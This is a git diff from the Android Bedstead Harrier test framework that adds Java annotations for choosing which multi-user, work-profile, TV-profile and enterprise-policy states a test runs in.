+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a user which has a Tv profile.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a user which has
+ * a Tv profile. Otherwise, you can use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureHasProfileAnnotation("com.android.tv.profile")
+public @interface EnsureHasTvProfile {
+    /** Which user type the tv profile should be attached to. */
+    DeviceState.UserType forUser() default CURRENT_USER;
+
+    /** Whether the test app should be installed in the tv profile. */
+    boolean installTestApp() default true;
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
new file mode 100644
index 0000000..c7977c5
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasProfileAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a user which has a work profile.
+ *
+ * <p>Use of this annotation implies
+ * {@code RequireFeatures("android.software.managed_users", SKIP)}.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a user which has
+ * a work profile. Otherwise, you can use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureHasProfileAnnotation("android.os.usertype.profile.MANAGED")
+public @interface EnsureHasWorkProfile {
+    /** Which user type the work profile should be attached to. */
+    DeviceState.UserType forUser() default CURRENT_USER;
+
+    /** Whether the test app should be installed in the work profile. */
+    boolean installTestApp() default true;
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/FailureMode.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/FailureMode.java
new file mode 100644
index 0000000..85bd919
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/FailureMode.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+public enum FailureMode {
+    FAIL,
+    SKIP
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
new file mode 100644
index 0000000..bb9d248
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Marks that a test method should not be run as part of multi-user presubmit, as defined by
+ * tests using multi-user annotations that opt them into presubmit, like
+ * {@link RequireRunOnWorkProfile}.
+ *
+ * <p>This annotation should be used on any new tests running in a multi-user module. Only after
+ * the test has been in postsubmit for some time, demonstrating it is fast and reliable, should the
+ * annotation be removed to allow it to run as part of presubmit.
+ *
+ * <p>It can also be used for tests which don't meet the requirements to be part of multi-user
+ * presubmits.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface Postsubmit {
+    String reason();
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java
new file mode 100644
index 0000000..c44292e
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run only when the device has a given feature.
+ *
+ * <p>You can guarantee that these methods do not run on devices lacking the feature by
+ * using {@code DeviceState}.
+ *
+ * <p>By default the test will be skipped if the feature is not available. If you'd rather the test
+ * fail then use {@code failureMode = FailureMode.FAIL}.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireFeatures {
+    String[] value();
+    FailureMode failureMode() default FailureMode.SKIP;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
new file mode 100644
index 0000000..875f1e3
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on the primary user.
+ *
+ * <p>Your test configuration should be such that this test is only run on the primary user
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of the primary
+ * user by using {@link DeviceState}.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RequireRunOnUserAnnotation("android.os.usertype.full.SYSTEM")
+public @interface RequireRunOnPrimaryUser {
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
new file mode 100644
index 0000000..9225e04
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a secondary user.
+ *
+ * <p>Your test configuration should be such that this test is only run where a secondary user is
+ * created and the test is being run on that user.
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of a secondary user by
+ * using {@link DeviceState}.
+ *
+ * <p>This annotation by default opts a test into multi-user presubmit. New tests should also be
+ * annotated {@link Postsubmit} until they are shown to meet the multi-user presubmit
+ * requirements.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RequireRunOnUserAnnotation("android.os.usertype.full.SECONDARY")
+public @interface RequireRunOnSecondaryUser {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
new file mode 100644
index 0000000..9e20a9f
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run within a Tv profile.
+ *
+ * <p>Your test configuration should be such that this test is only run where a Tv profile is
+ * created and the test is being run within that user.
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of a Tv
+ * profile by using {@link DeviceState}.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@RequireRunOnUserAnnotation("com.android.tv.profile")
+public @interface RequireRunOnTvProfile {
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
new file mode 100644
index 0000000..31144df
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run within a work profile.
+ *
+ * <p>Your test configuration should be such that this test is only run where a work profile is
+ * created and the test is being run within that user.
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of a work
+ * profile by using {@link DeviceState}.
+ *
+ * <p>This annotation by default opts a test into multi-user presubmit. New tests should also be
+ * annotated {@link Postsubmit} until they are shown to meet the multi-user presubmit requirements.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@RequireRunOnUserAnnotation("android.os.usertype.profile.MANAGED")
+public @interface RequireRunOnWorkProfile {
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUserSupported.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUserSupported.java
new file mode 100644
index 0000000..deb06f1
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUserSupported.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should only run if a particular user type is supported
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a user which
+ * supports the user types. Otherwise, you can use {@link DeviceState} to ensure that the test is
+ * not run when the user type is not supported.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireUserSupported {
+    String[] value();
+    FailureMode failureMode() default FailureMode.SKIP;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
new file mode 100644
index 0000000..127020b
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Used to annotate an enterprise policy for use with {@link NegativePolicyTest} and
+ * {@link PositivePolicyTest}.
+ */
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnterprisePolicy {
+    enum DeviceOwnerControl {
+        /** A policy that can be applied by a Device Owner to all users on the device. */
+        GLOBAL,
+        /** A policy that can be applied by a Device Owner to only the Device Owner's user. */
+        USER,
+        /** A policy that cannot be applied by a Device Owner. */
+        NO
+    }
+
+    enum ProfileOwnerControl {
+        /** A policy that can be applied by a Profile Owner to the profile itself and its parent. */
+        PARENT,
+        /**
+         * A policy that can be applied by a Profile Owner to the profile itself, and to the
+         * parent if it is a COPE profile.
+         */
+        COPE_PARENT,
+        /** A policy that can be applied by a Profile Owner to the profile itself. */
+        PROFILE,
+        /** A policy that cannot be applied by a Profile Owner. */
+        NO
+    }
+
+    DeviceOwnerControl deviceOwner();
+    ProfileOwnerControl profileOwner();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/NegativePolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/NegativePolicyTest.java
new file mode 100644
index 0000000..c5a9ef4
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/NegativePolicyTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import com.android.bedstead.harrier.annotations.meta.RequiresBedsteadJUnit4;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark a test as testing the states where a policy is applied (by a Device Owner or Profile Owner)
+ * and it should not apply to the user the test is running on.
+ *
+ * <p>This will generated parameterized runs for all matching states.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@RequiresBedsteadJUnit4
+public @interface NegativePolicyTest {
+    /**
+     * The policy being tested.
+     *
+     * <p>This is used to calculate which states are required to be tested.
+     */
+    Class<?> policy();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/PositivePolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/PositivePolicyTest.java
new file mode 100644
index 0000000..07e7bba
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/PositivePolicyTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import com.android.bedstead.harrier.annotations.meta.RequiresBedsteadJUnit4;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark a test as testing the states where a policy is applied (by a Device Owner or Profile Owner)
+ * and it should apply to the user the test is running on.
+ *
+ * <p>This will generated parameterized runs for all matching states.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@RequiresBedsteadJUnit4
+public @interface PositivePolicyTest {
+    /**
+     * The policy being tested.
+     *
+     * <p>This is used to calculate which states are required to be tested.
+     */
+    Class<?> policy();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoProfile.java
new file mode 100644
index 0000000..fdd78f0
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoProfile.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+
+import com.android.bedstead.harrier.DeviceState;
+
+import java.lang.annotation.Target;
+
+/**
+ * This annotation should not be used directly. It exists as a template for annotations which
+ * ensure that a given user does not have a specific profile type.
+ */
+@Target({})
+public @interface EnsureHasNoProfile {
+    DeviceState.UserType forUser() default CURRENT_USER;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoProfileAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoProfileAnnotation.java
new file mode 100644
index 0000000..940dae0
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoProfileAnnotation.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that an annotation is used to indicate that a given user should have no profiles of the
+ * given type.
+ *
+ * <p>The annotation annotated with {@link EnsureHasNoProfileAnnotation} must have the same body as
+ * {@link EnsureHasNoProfile}.
+ */
+@Target(ElementType.ANNOTATION_TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasNoProfileAnnotation {
+    /** The name of the profile type which should not be present. */
+    String value();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoUser.java
new file mode 100644
index 0000000..1504a06
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoUser.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.Target;
+
+/**
+ * This annotation should not be used directly. It exists as a template for annotations which
+ * ensure that a given user type does not exist.
+ */
+@Target({})
+public @interface EnsureHasNoUser {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoUserAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoUserAnnotation.java
new file mode 100644
index 0000000..5aaaf31
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasNoUserAnnotation.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that an annotation is used to indicate that no users of a given type should exist.
+ *
+ * <p>The annotation annotated with {@link EnsureHasNoUserAnnotation} must have the same body as
+ * {@link EnsureHasNoUser}.
+ */
+@Target(ElementType.ANNOTATION_TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasNoUserAnnotation {
+    /** The name of the user type which should not be present. */
+    String value();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
new file mode 100644
index 0000000..54aa2d5
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+
+import com.android.bedstead.harrier.DeviceState;
+
+import java.lang.annotation.Target;
+
+/**
+ * This annotation should not be used directly. It exists as a template for annotations which
+ * ensure that a given user has a specific profile type.
+ */
+@Target({})
+public @interface EnsureHasProfile {
+    /** Which user type the profile should be attached to. */
+    DeviceState.UserType forUser() default CURRENT_USER;
+
+    /** Whether the test app should be installed in the profile. */
+    boolean installTestApp() default true;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfileAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfileAnnotation.java
new file mode 100644
index 0000000..9b405d8
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfileAnnotation.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.meta;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that an annotation is used to indicate that a given user should have a profile of the
+ * given type.
+ *
+ * <p>The annotation annotated with {@link EnsureHasProfileAnnotation} must have the same body as
+ * {@link EnsureHasProfile}.
+ */
+@Target(ElementType.ANNOTATION_TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasProfileAnnotation {
+    /** The name of the profile type which should be present. */
+    String value();
+}
